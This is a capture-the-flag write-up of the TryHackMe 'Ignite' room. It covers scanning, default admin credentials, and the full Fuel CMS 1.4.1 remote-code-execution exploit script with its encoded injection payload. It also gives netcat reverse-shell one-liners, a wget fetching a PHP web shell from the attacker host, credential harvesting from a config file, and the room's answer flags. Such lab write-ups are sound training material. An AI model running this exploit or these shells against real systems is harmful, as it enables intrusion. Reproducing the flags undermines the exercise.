> For the complete documentation index, see [llms.txt](https://pedroaovieira.gitbook.io/thm/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pedroaovieira.gitbook.io/thm/capture-the-flag/ignite.md).

# Ignite

https\://tryhackme.com/room/ignite

## INIT

```
export ignite=10.10.28.158
ping $ignite

echo "10.10.28.158 ignite.thm" >> /etc/hosts
```

## NMAP

```
nmap -sC -sV -O $ignite
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRveuu0LkQGDuE5JLty%2F-MRxubaIexprKaQlzxbB%2Fimage.png?alt=media\&token=7ffd12b6-88a2-4b63-909b-83350e5e7b9c)

## GOBUSTER

```
gobuster dir -u $ignite -w /usr/share/wordlists/dirb/common.txt -q -t 15 -x php,html,txt
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRxus13fL8VnQ_-WbsQ%2F-MRxvMkJ9lZ81hZ4YLGw%2Fimage.png?alt=media\&token=d32cef02-d60c-45d2-8663-6d8538b6a737)

## HTTP

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRxus13fL8VnQ_-WbsQ%2F-MRxwEy3qytjdWOxLJWa%2Fimage.png?alt=media\&token=adf4a610-dbdf-45ac-8afa-d93e76aad617)

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRxus13fL8VnQ_-WbsQ%2F-MRxwjtLYxZgkPvg-CeX%2Fimage.png?alt=media\&token=23c6c5bb-09de-4798-ba0e-3ef0e177480c)

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRxus13fL8VnQ_-WbsQ%2F-MRxx0Q_euteJtovqzTw%2Fimage.png?alt=media\&token=f236f140-784e-4319-8f69-137e7091e0c2)

{% hint style="info" %}
login: admin

password: admin
{% endhint %}

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRxus13fL8VnQ_-WbsQ%2F-MRxxFzpQEz8WPjXoCkc%2Fimage.png?alt=media\&token=9e4434ea-70f3-4bf0-af25-6873bdb10140)

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRxus13fL8VnQ_-WbsQ%2F-MRxy8qnnJZrRINSY-TN%2Fimage.png?alt=media\&token=1d9efbf8-d984-4540-9322-9fc03af93674)

```
searchsploit Fuel
searchsploit -p 47138
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRxus13fL8VnQ_-WbsQ%2F-MRy1NtoKyxUSXlWo1V3%2Fimage.png?alt=media\&token=f8b345c7-a8dd-45af-bc22-aec21e7ea4d9)

```
cp /usr/share/exploitdb/exploits/linux/webapps/47138.py ignite.py
```

```
# Exploit Title: fuelCMS 1.4.1 - Remote Code Execution
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763


import requests
import urllib
import urllib.parse

url = "http://10.10.39.95"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
        xxxx = input('cmd:')
        burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(xxxx)+"%27%29%2b%27"
        proxy = {"http":"http://127.0.0.1:8080"}
        r = requests.get(burp0_url, proxies=proxy)

        html = "<!DOCTYPE html>"
        htmlcharset = r.text.find(html)

        begin = r.text[0:20]
        dup = find_nth_overlapping(r.text,begin,2)

        print(r.text[0:dup])

```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRy2OgAmwFapmUrKMjB%2F-MRy3-hejTcKMIF8dSyO%2Fimage.png?alt=media\&token=2135b1a4-8e53-4d5b-b5a3-6d1db0cd980e)

```
nc -e /bin/sh 10.14.4.204 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.4.204 4444 >/tmp
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRy4cDd6liEsDl0Bkd6%2F-MRyUzuwTXa_FTJI0b6u%2Fimage.png?alt=media\&token=7ef0dfa1-bda3-4e8b-ba32-6810c7ea9de1)

```
cmd:bash shell.sh
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRy4cDd6liEsDl0Bkd6%2F-MRyWqLKyAtFyWc7_RHa%2Fimage.png?alt=media\&token=9bb370a9-f109-4fb8-abaf-c6f7fc5ccf2d)

```
python3 ignite.py
wget http://10.14.4.204:8000/phpbash.php
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRy4cDd6liEsDl0Bkd6%2F-MRyRezE2x4YCzQq0BbU%2Fimage.png?alt=media\&token=1da9ec8f-0b3e-4960-9915-fc00fef94c9a)

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRy4cDd6liEsDl0Bkd6%2F-MRyRwTQJjeE8tVicsIu%2Fimage.png?alt=media\&token=322d6345-3747-4d83-a32a-3cda8e84f09b)

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRy4cDd6liEsDl0Bkd6%2F-MRySE3QH7ig1QHgUCRi%2Fimage.png?alt=media\&token=489f5288-8ac9-4bd6-9420-5c453eac4d45)

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRy4cDd6liEsDl0Bkd6%2F-MRyTazQZcx8-Ti7hk-V%2Fimage.png?alt=media\&token=30b8a510-cf40-4ad3-bc5f-e580310c0f3b)

### User.txt

{% hint style="success" %}
6470e394cbf6dab6a91682cc8585059b
{% endhint %}

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRxus13fL8VnQ_-WbsQ%2F-MRxwWttZxQ-9KjtzZ9p%2Fimage.png?alt=media\&token=893f5f58-3ec7-47a8-a9b7-3701a489f4b9)

```
 cat /var/www/html/fuel/application/config/database.php
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRyZuwqA6bzsZdZb5th%2F-MRy_RBJhHhXaB_WLZ7x%2Fimage.png?alt=media\&token=8fd175db-cd86-401b-b428-aa8f88431b65)

```
su -
password: mememe
cat /root/root.txt
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRy_nt3nwlj0_pNsTF7%2F-MRyaDBnDAE-MqiQY2TD%2Fimage.png?alt=media\&token=74f7c2fe-f1f9-4b63-8a9c-aa4429cf2c17)

### Root.txt

{% hint style="success" %}
b9bbcb33e11b80be759c4e844862482d
{% endhint %}